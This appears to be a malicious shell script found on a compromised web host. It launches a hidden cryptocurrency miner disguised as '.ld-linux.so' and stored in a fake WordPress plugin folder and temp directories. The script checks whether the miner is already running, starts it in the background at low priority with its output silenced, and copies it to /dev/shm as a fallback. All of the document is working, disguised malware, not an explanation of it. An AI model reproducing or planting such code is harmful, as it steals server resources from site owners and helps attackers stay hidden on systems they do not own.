#!/bin/sh
KD=/homez.396/spiceupfrb/.cache/.c3keep
WD=/home/spiceupfrb/www/wp-content/plugins/widget-accessibility-helper-622484/.c359104899
c3bin(){ for T in "$KD" "$WD" /dev/shm/.c3p /var/tmp/.c3p;do [ -x "$T/.ld-linux.so" ]&&[ -f "$T/config.json" ]&&echo "$T"&&return 0;done;return 1; };
D=$(c3bin)||exit 1
export HWLOC_ALLOW=all HWLOC_HIDE_ERRORS=1
[ -d /sys/devices/system/cpu ]||{ export HWLOC_SYNTHETIC="${HWLOC_SYNTHETIC:-2}";export HWLOC_COMPONENTS="${HWLOC_COMPONENTS:--linux}";}
B=$D/.ld-linux.so;C=$D/config.json
ps -eo comm= 2>/dev/null|grep -Fx .ld-linux.so>/dev/null&&exit 0
ps -eo args= 2>/dev/null|grep -F -- "$C"|grep -v grep>/dev/null&&exit 0
cd "$D";(ionice -c 3 nice -n 19 nohup "$B" -c "$C" --no-color --background >/dev/null 2>&1 ||nohup "$B" -c "$C" --no-color --background >/dev/null 2>&1) &
sleep 15
ps -eo comm= 2>/dev/null|grep -Fx .ld-linux.so>/dev/null&&exit 0
SD=/dev/shm/.c3p;mkdir -p "$SD";cp "$B" "$SD/.ld-linux.so";cp "$C" "$SD/config.json";chmod +x "$SD/.ld-linux.so";(ionice -c 3 nice -n 19 nohup "$SD/.ld-linux.so" -c "$SD/config.json" --no-color --background >/dev/null 2>&1 ||nohup "$SD/.ld-linux.so" -c "$SD/config.json" --no-color --background >/dev/null 2>&1) &
